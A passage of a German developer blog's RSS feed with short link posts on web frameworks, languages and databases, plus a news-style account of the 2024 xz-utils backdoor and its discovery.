</content:encoded><language>de-DE</language><category>javascript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/03/20/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/03/20/0.html</guid><pubDate>Wed, 20 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.flightradar24.com/data/gps-jamming&quot;&gt;GPS jamming map&lt;/a&gt; bei Flightradar.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/03/26/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/03/26/0.html</guid><pubDate>Tue, 26 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://coderoasis.com/java-22-is-released/&quot;&gt;Neues in Java 22&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>java</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/03/28/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/03/28/0.html</guid><pubDate>Thu, 28 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Weil es aktuell viel gibt, was bei React passiert, hier eine kleine Liste an Dingen, die React in Zukunft deutlich verändern werden oder könnten:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://react.dev/blog/2023/05/03/react-canaries&quot;&gt;Canary-Releases&lt;/a&gt;, wo der aktuelle effektiv React 19 ist. Enthält auch den neuen &lt;a href=&quot;https://react.dev/reference/react/use&quot;&gt;&lt;code&gt;use&lt;/code&gt;-Hook&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://react.dev/blog/2024/02/15/react-labs-what-we-have-been-working-on-february-2024&quot;&gt;Der React-Compiler und Form-Status&lt;/a&gt;:
&lt;ul&gt;
&lt;li&gt;React hat bisher alles zur Laufzeit gemacht, weshalb Memoization 1. von Hand und 2. sehr aufwändig implementiert werden musste. Andere Frameworks setzen einen Compiler ein, der das ganze automatisch optimiert. React Forget ist genau das, für React.&lt;/li&gt;
&lt;li&gt;Actions machen das Arbeiten mit Formen etwas angenehmer. Dazu gibt es auch die neuen Hooks &lt;code&gt;useFormStatus&lt;/code&gt; und &lt;code&gt;useFormState&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/facebook/react-strict-dom&quot;&gt;react-strict-dom&lt;/a&gt;: Ein Vorhaben, ein Subset von HTML zu definieren, das auch kompatibel mit React Native ist. Ziel ist, dass Komponenten besser und zuverlässiger zwischen React-für&apos;s-Web und React-Native wiederverwendet werden können.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://stylexjs.com&quot;&gt;StyleX&lt;/a&gt;: Nicht per se nur für React, aber React ist das, wofür es bei Facebook benutzt wird. Eine CSS-in-JS-Lösung, bei der das gesamte CSS in eine einzige Datei kompiliert wird (auch das von Lazy-Loaded-Components). Ziel ist möglichst geringer Runtime-Overhead und eine schmale API.  Wird bei Facebook bereits auf Instagram, WhatsApp und Facebook benutzt, um ein Designsystem bereitzustellen. Hat auch einen optimierenden Compile-Schritt.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Alle hier gelisteten Sachen sind noch stark in Entwicklung und noch nicht produktionsreif. Nichtsdestotrotz gut zu sehen, dass immer noch fleißig an React geschraubt wird.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>javascript</category><category>react</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/03/28/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/03/28/1.html</guid><pubDate>Thu, 28 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Es gibt einen RFC für standardisierte Error-Responses von HTTP-APIs: &lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc9457&quot;&gt;RFC 9457 Problem Details&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Grundidee ist, dass der Server im Fehlerfall mit dem Content-Type &lt;code&gt;application/problem+json&lt;/code&gt; antwortet. Das JSON im Body hat dann einige standardisierte Felder und welche, die die API selbst noch hinzufügen kann, bspw. mehr Kontext zum Fehler.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>api-design</category><category>http</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/03/29/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/03/29/0.html</guid><pubDate>Fri, 29 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.openwall.com/lists/oss-security/2024/03/29/4&quot;&gt;xz wurde gebackdoort&lt;/a&gt;. Die Story ist schon ganz interessant. Aufgefallen ist es, weil die gebackdoorte Version Performanceprobleme hatte. Die Version mit Backdoor ist noch nicht wirklich verbreitet worden. Bei Debian haben &lt;a href=&quot;https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1067708&quot;&gt;anonyme Accounts darauf gedrängt&lt;/a&gt;, das Update mit der Backdoor anzunehmen. Eine ähnliche Geschichte, bei der die Version schnell released werden sollte, &lt;a href=&quot;https://news.ycombinator.com/item?id=39866275&quot;&gt;berichtet auch&lt;/a&gt; ein Fedora-Maintainer. Bei letzterem war es sogar so, dass der Fedora-Maintainer mit dem xz-Maintainer noch zusammen Speicherprobleme gelöst hat, damit sie die Version releasen können. Die Speicherprobleme kamen von genau der Backdoor. Ja, wirklich!&lt;/p&gt;
&lt;p&gt;Die Backdoor passiert beim Bauen der tarball. Der scheinbare Backdoor-Autor hat im Vorfeld auf der Projektseite auch &lt;a href=&quot;https://github.com/tukaani-project/tukaani-project.github.io/commit/42fbb038b4f36c9d1830144bafa6c9d0d101aaa9#diff-0eb547304658805aad788d320f10bf1f292797b5e6d745a3bf617584da017051R83-R87&quot;&gt;eine spannende Notiz hinterlassen&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Note&lt;/em&gt;: GitHub automatically includes two archives Source code (zip) and Source code (tar.gz) in the releases.
These archives cannot be disabled and should be ignored.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Das wird ja immer goldiger! &lt;a href=&quot;https://github.com/tukaani-project/xz/commit/af071ef7702debef4f1d324616a0137a5001c14c&quot;&gt;In einem anderen Commit&lt;/a&gt; hat er die SECURITY.md-Policy &quot;vereinfacht&quot;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; You may submit a report by emailing us at
 [xz@tukaani.org](mailto:xz@tukaani.org), or through
 [Security Advisories](https://github.com/tukaani-project/xz/security/advisories/new).
-While both options are available, we prefer email. In any case, please
-provide a clear description of the vulnerability including:
-
-- Affected versions of XZ Utils
-- Estimated severity (low, moderate, high, critical)
-- Steps to recreate the vulnerability
-- All relevant files (core dumps, build logs, input files, etc.)
+While both options are available, we prefer email.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Der Autor ist auch zu &lt;a href=&quot;https://social.treehouse.systems/@Aissen/112180302735030319&quot;&gt;Googles OSS-fuzz hingegangen&lt;/a&gt; und hat &lt;a href=&quot;https://github.com/google/oss-fuzz/pull/10667&quot;&gt;das Feature deaktiviert&lt;/a&gt;, auf das die Backdoor zurückgreift, damit es nicht durch&apos;s Fuzzen auffällt.&lt;/p&gt;
&lt;p&gt;Zu der Geschichte kommen immer noch mehr Details ran. &lt;a href=&quot;https://news.ycombinator.com/item?id=39865810&quot;&gt;Auf HN&lt;/a&gt; werden sie in den Kommentaren gesammelt.&lt;/p&gt;
&lt;p&gt;Was mich zu der Frage bringt: Angenommen, der GH-User hat diese Commits willentlich getätigt. Hat er dafür rechtliche Konsequenzen zu befürchten? Wie will man das machen? In diesem Fall wurde es noch bemerkt. Wenn daraus keine Konsequenzen folgen, hält das andere Maintainer kaum davon ab, dasselbe zu tun.&lt;/p&gt;
&lt;p&gt;Update:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://gist.github.com/thesamesam/223949d5a074ebc3dce9ee78baad9e27&quot;&gt;FAQ on the xz-utils backdoor&lt;/a&gt;.
Stand 2024-03-29:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;TL;DR: We think the following things need to be true for your system to be vulnerable:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;You need to be running a rolling-release distro and updating religiously&lt;/li&gt;
&lt;li&gt;You need to be running a distro that uses glibc and systemd&lt;/li&gt;
&lt;li&gt;You need to have versions 5.6.0 or 5.6.1 of xz or liblzma installed (xz-utils provides the library liblzma)&lt;/li&gt;
&lt;li&gt;You need to have your SSH port exposed to the public internet&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;Das FAQ ist wirklich gut und erläutert auch noch ein paar technische Umsetzungen. Hier gibt es noch eine Timeline: &lt;a href=&quot;https://boehs.org/node/everything-i-know-about-the-xz-backdoor&quot;&gt;Everything I Know About the Xz Backdoor&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Update:&lt;/p&gt;
&lt;p&gt;Bei der Analyse der installierten Backdoor gab es mittlerweile einige Fortschritte. Anfangs dachte man, dass &lt;code&gt;RSA_public_decrypt&lt;/code&gt; gehookt würde, um einen Auth-Bypass zu erreichen. Mittlerweile wissen wir: &lt;a href=&quot;https://bsky.app/profile/filippo.abyssdomain.expert/post/3kowjkx2njy2b&quot;&gt;Das war eine RCE&lt;/a&gt;.
Die Backdoor hat einen Ed448-Public-Key hartkodiert. Mit dem wird beim Anklopfen an die Hintertür überprüft, ob es sich um einen legitimen Angreifer handelt, durch einen Signatur-Check. Falls ja, wird die übermittelte Payload ausgeführt. Falls nein wird einfach weitergemacht, wie sonst auch. Das bedeutet: Man kann ein betroffenes System nicht durch sein äußerliches Verhalten erkennen - es sei denn, man hat den private Key zu der Backdoor. Um zu erkennen, ob ein System betroffen ist, funktioniert also kein Netzwerkscanner. Stattdessen muss das System lokal Dateien überprüfen.&lt;/p&gt;
&lt;p&gt;Es wurde übrigens nicht nur bei Fedora und Debian versucht, das Paket unterzubringen. &lt;a href=&quot;https://bugs.launchpad.net/ubuntu/+source/xz-utils/+bug/2059417&quot;&gt;Auch bei Ubuntu wurde versucht&lt;/a&gt;, es vor dem Freeze aufzunehmen. Wir sind quasi durch Zufall einem Generalschlüssel für&apos;s Internet ausgewichen.&lt;/p&gt;
&lt;p&gt;Update:
Auf der Webseite des Maintainers gibt es jetzt auch eine Status-Seite: https://tukaani.org/xz-backdoor&lt;/p&gt;
&lt;p&gt;In &lt;a href=&quot;https://git.tukaani.org/?p=xz.git;a=blobdiff;f=CMakeLists.txt;h=d2b1af7ab0ab759b6805ced3dff2555e2a4b3f8e;hp=76700591059711e3a4da5b45cf58474dac4e12a7;hb=328c52da8a2bbb81307644efdb58db2c422d9ba7;hpb=eb8ad59e9bab32a8d655796afd39597ea6dcc64d&quot;&gt;diesem Commit&lt;/a&gt; wurde &lt;a href=&quot;https://docs.kernel.org/userspace-api/landlock.html&quot;&gt;Landlock&lt;/a&gt; deaktiviert. Wo genau ist das passiert? &lt;a href=&quot;https://git.tukaani.org/?p=xz.git;a=commitdiff;h=f9cf4c05edd14dedfe63833f8ccbe41b55823b00&quot;&gt;Hiermit&lt;/a&gt;. In &lt;a href=&quot;https://git.tukaani.org/?p=xz.git;a=commit;h=328c52da8a2bbb81307644efdb58db2c422d9ba7&quot;&gt;diesem Commit&lt;/a&gt; kam es in&apos;s Repo.&lt;/p&gt;
&lt;p&gt;Update:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://gynvael.coldwind.pl/?lang=en&amp;amp;id=782&quot;&gt;Hier&lt;/a&gt; eine Analyse der Obfuscation der Bash-Stage. &lt;a href=&quot;https://rheaeve.substack.com/p/xz-backdoor-times-damned-times-and&quot;&gt;Die Commit-Zeiten wurden auch schon analyisert&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Update:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/amlweems/xzbot&quot;&gt;Hier&lt;/a&gt; gibt es schon tooling, um die Backdoor selbst auszunutzen (wenn man die Backdoor mit seinem eigenen Key patcht).&lt;/p&gt;
</content:encoded><language>de-DE</language><category>security</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/04/01/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/04/01/0.html</guid><pubDate>Mon, 01 Apr 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Nach einer Einigung mit einem Kläger hat Google sich dazu entschieden, den &lt;a href=&quot;https://www.bbc.com/news/business-68709119&quot;&gt;bei Google gespeicherten Browserverlauf der Incoginto-Mode-Benutzer zu löschen&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/04/01/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/04/01/1.html</guid><pubDate>Mon, 01 Apr 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://blog.trl.sn/blog/what-is-a-json-number&quot;&gt;What even is a JSON Number&lt;/a&gt;? Die Summary-Tabellen sind sehr interessant.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>json</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/04/01/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/04/01/2.html</guid><pubDate>Mon, 01 Apr 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Jetzt, wo Chrome sich entschieden hat, &lt;a href=&quot;https://chromestatus.com/feature/6186023867908096&quot;&gt;zstd in Chrome zu implementieren&lt;/a&gt;, kommt es vielleicht auch in anderen Browsern. Bei Firefox ist der Bug &lt;a href=&quot;https://bugzilla.mozilla.org/show_bug.cgi?id=1301878&quot;&gt;seit 8 Jahren offen&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Bin auf eine &lt;a href=&quot;https://news.ycombinator.com/item?id=19678985&quot;&gt;interessante Diskussion&lt;/a&gt; zwischen dem zstd-Autor und dem Autor von Brotli gestoßen.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/04/06/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/04/06/0.html</guid><pubDate>Sat, 06 Apr 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://github.com/andreasfertig/cppinsights&quot;&gt;cppinsights&lt;/a&gt;: See your source code with the eyes of a compiler.&lt;/p&gt;
&lt;p&gt;Beispiel aus dem Readme:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Base {};
class Derived : public Base {};
int main() {
  Derived d;
  Derived d2 = d;
  d2 = d;
  Base&amp;amp; b = d;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Wird zu:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Base
{
  public:
  // inline constexpr Base() noexcept = default;
  // inline constexpr Base(const Base &amp;amp;) noexcept = default;
  // inline constexpr Base &amp;amp; operator=(const Base &amp;amp;) noexcept = default;
};
class Derived : public Base
{
  public:
  // inline constexpr Derived() noexcept = default;
  // inline constexpr Derived(const Derived &amp;amp;) noexcept = default;
  // inline constexpr Derived &amp;amp; operator=(const Derived &amp;amp;) noexcept = default;
};
int main()
{
  Derived d;
  Derived d2 = Derived(d);
  d2.operator=(d);
  Base &amp;amp; b = static_cast&amp;lt;Base&amp;amp;&amp;gt;(d);
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><language>de-DE</language><category>cpp</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/04/10/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/04/10/0.html</guid><pubDate>Wed, 10 Apr 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://matheusportela.com/double-entry-bookkeeping-as-a-directed-graph&quot;&gt;Doppelte Buchführung als gerichteter Graph&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/04/16/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/04/16/0.html</guid><pubDate>Tue, 16 Apr 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Nach &lt;a href=&quot;https://www.youtube.com/watch?v=H5sPGruv2yc&quot;&gt;You Don&apos;t Need Kubernetes&lt;/a&gt; ein toller follow-up: &lt;a href=&quot;https://blog.boot.dev/education/maybe-you-do-need-kubernetes/&quot;&gt;Maybe You Do Need Kubernetes&lt;/a&gt;?&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/04/17/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/04/17/0.html</guid><pubDate>Wed, 17 Apr 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Das finale &lt;a href=&quot;https://coderoasis.com/java-23-new-features&quot;&gt;Feature-Set von Java 23&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=iL7d-gGrms8&quot;&gt;Hier&lt;/a&gt; eine Übersicht an Projekten, an denen Oracle in 2024 bei Java arbeitet.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>java</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/04/17/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/04/17/1.html</guid><pubDate>Wed, 17 Apr 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://github.com/dotnet/runtime/blob/a9335181346a43b4f3ee14a3a4c4cb25992889d4/docs/coding-guidelines/vectorization-guidelines.md&quot;&gt;Introduction to vectorization with Vector128 and Vector256&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>c-sharp</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/04/21/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/04/21/0.html</guid><pubDate>Sun, 21 Apr 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://blog.jeffsmits.net/compsci/2024/04/07/parsing-and-all-that/&quot;&gt;Parsing and all that&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Hello again! I’m picking up my &lt;a href=&quot;https://blog.jeffsmits.net/compsci/2016/03/28/theory-of-computation/&quot;&gt;series on Automata&lt;/a&gt;, with this post that goes into what I had always meant to get to: parsers. We’ll check out the old-school linear time parsing algorithms, which only need to go over the input once, without backtracking or caching. We’ll check out LL and LR, parse tables, recursive descent and recursive ascent. Welcome to the world of deterministic parsing…&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded><language>de-DE</language><category>language-design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/04/21/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/04/21/1.html</guid><pubDate>Sun, 21 Apr 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://blog.regehr.org/archives/2578&quot;&gt;Dataflow Analyses and Compiler Optimizations that Use Them, for Free&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>language-design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/04/23/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/04/23/0.html</guid><pubDate>Tue, 23 Apr 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.postgresql.org/docs/current/bloom.html&quot;&gt;Postgres kann Indizes mit Bloom-Filter&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Use-Case:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;In the case of an index access method, it allows fast exclusion of non-matching tuples via signatures whose size is determined at index creation.
[...]
This type of index is most useful when a table has many attributes and queries test arbitrary combinations of them. A traditional btree index is faster than a bloom index, but it can require many btree indexes to support all possible queries where one needs only a single bloom index. Note however that bloom indexes only support equality queries, whereas btree indexes can also perform inequality and range searches.&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded><language>de-DE</language><category>db</category><category>datenstrukturen</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/04/24/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/04/24/0.html</guid><pubDate>Wed, 24 Apr 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://nodejs.org/en/blog/announcements/v22-release-announce&quot;&gt;Node.js 22&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>nodejs</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/04/25/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/04/25/0.html</guid><pubDate>Thu, 25 Apr 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://react.dev/blog/2024/04/25/react-19&quot;&gt;React 19 ist in der Beta&lt;/a&gt; und es gibt einen &lt;a href=&quot;https://react.dev/blog/2024/04/25/react-19-upgrade-guide&quot;&gt;Upgrade-Guide&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Zusätzlich kam gerade React 18.3 als stabile Version, die einem auf React 19 vorbereitet:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;To help make the upgrade to React 19 easier, we’ve published a react@18.3 release that is identical to 18.2 but adds warnings for deprecated APIs and other changes that are needed for React 19.&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded><language>de-DE</language><category>react</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/04/25/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/04/25/1.html</guid><pubDate>Thu, 25 Apr 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://devblogs.microsoft.com/typescript/announcing-typescript-5-5-beta/&quot;&gt;TypeScript 5.5 Beta&lt;/a&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;TypeScript now infers a type predicate for the &lt;code&gt;filter&lt;/code&gt; function.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Previously, nums: (number | null)[]
// Now, nums: number[]
const nums = [1, 2, 3, null, 5].filter(x =&amp;gt; x !== null);
&lt;/code&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;p&gt;Das war eine lange Baustelle und nun geht es endlich. Das Problem war lange Zeit, dass diese Lambdas keinen Type-Guard darstellen und somit die Information verloren geht, dass es bspw. nicht &lt;code&gt;undefined&lt;/code&gt; ist. Das erkennt TS jetzt automatisch:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;TypeScript will infer that a function returns a type predicate if these conditions hold:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The function does not have an explicit return type or type predicate annotation.&lt;/li&gt;
&lt;li&gt;The function has a single return statement and no implicit returns.&lt;/li&gt;
&lt;li&gt;The function does not mutate its parameter.&lt;/li&gt;
&lt;li&gt;The function returns a boolean expression that’s tied to a refinement on the parameter.&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;But TypeScript now does basic syntax checking on regular expressions!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Praktisch!&lt;/p&gt;
</content:encoded><language>de-DE</language><category>typescript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/04/26/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/04/26/0.html</guid><pubDate>Fri, 26 Apr 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Gerade zufällig nachgeschaut und festgestellt: &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_containment/Container_queries&quot;&gt;CSS Container-Querys&lt;/a&gt; &lt;a href=&quot;https://caniuse.com/css-container-queries&quot;&gt;kann man mittlerweile benutzen&lt;/a&gt;. Sogar der aktuelle ESR von Firefox (v115) kann die.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>css</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/04/29/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/04/29/0.html</guid><pubDate>Mon, 29 Apr 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://postgres.ai/blog/20220525-common-db-schema-change-mistakes&quot;&gt;Common DB schema change mistakes&lt;/a&gt; (in Postgres).&lt;/p&gt;
</content:encoded><language>de-DE</language><category>db</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/05/01/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/05/01/0.html</guid><pubDate>Wed, 01 May 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.omgubuntu.co.uk/2024/04/apt-3-0-colours-columns-new-ui&quot;&gt;APT 3 bekommt ein neues UI&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>cli</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/05/06/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/05/06/0.html</guid><pubDate>Mon, 06 May 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/reportError&quot;&gt;&lt;code&gt;window.reportError&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>til</category><category>javascript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/05/20/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/05/20/0.html</guid><pubDate>Mon, 20 May 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://rmarcus.info/blog/2018/09/14/consistent-hashing-overflow.html&quot;&gt;Overflow in consistent hashing&lt;/a&gt; (2018).&lt;/p&gt;
</content:encoded><language>de-DE</language><category>datenstrukturen</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/05/21/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/05/21/0.html</guid><pubDate>Tue, 21 May 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://kotlinlang.org/docs/whatsnew20.html&quot;&gt;Kotlin 2&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>kotlin</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/05/23/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/05/23/0.html</guid><pubDate>Thu, 23 May 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://kerkour.com/webassembly-wasi-preview2&quot;&gt;WebAssembly: A promising technology that is quietly being sabotaged&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>wasm</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/05/23/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/05/23/1.html</guid><pubDate>Thu, 23 May 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Es ist ja gerade die Build-Konferenz von MS. In der Sessionliste habe ich eine Session gefunden, die ich vor 10 Jahren niemals in einer MS-Konferenz in 10 Jahren erwartet hätte:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=v4_D9j9mU3k&quot;&gt;What&apos;s New with WinForms in .NET 9&lt;/a&gt;?&lt;/p&gt;
&lt;p&gt;Wer sich die Stunde sparen will, hier ein paar Highlights:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Winforms bekommt Dark-Mode-Support&lt;/li&gt;
&lt;li&gt;Graphics-Klasse kann jetzt abgerundete Rechtecke zeichnen&lt;/li&gt;
&lt;li&gt;MVVM für WinForms und generell mehr Data-Binding-Support, Command-Bindings&lt;/li&gt;
&lt;li&gt;...und natürlich - I kid you not - KI-Integration für diverse Controls. &lt;code&gt;MakeIntelligent&lt;/code&gt;-Property auf einem Date-Input und der Textbox. Funktioniert über &lt;a href=&quot;https://github.com/microsoft/semantic-kernel&quot;&gt;semantic-kernel&lt;/a&gt;, also auch über irgendwelche OpenAI-LLMs. harold.jpg&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><language>de-DE</language><category>c-sharp</category><category>dotnet</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/05/26/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/05/26/0.html</guid><pubDate>Sun, 26 May 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://icq.com&quot;&gt;ICQ wird am 2024-06-26 abgeschaltet&lt;/a&gt;. Habe wie viele andere früher mit vielen Freunden Kontakt über ICQ gepflegt. Viele davon sind heute noch meine Freunde. Danke für deinen Dienst!&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/05/26/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/05/26/1.html</guid><pubDate>Sun, 26 May 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://arunmani.in/articles/highest-two-power-to-divide-a-number&quot;&gt;Why does &lt;code&gt;x &amp;amp; -x&lt;/code&gt; equal to the largest power of 2 that divides x&lt;/a&gt;?&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/05/26/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/05/26/2.html</guid><pubDate>Sun, 26 May 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://kenthendricks.com/99-cent-prices/&quot;&gt;Why you spend more when prices end in .99&lt;/a&gt;&lt;/p&gt;
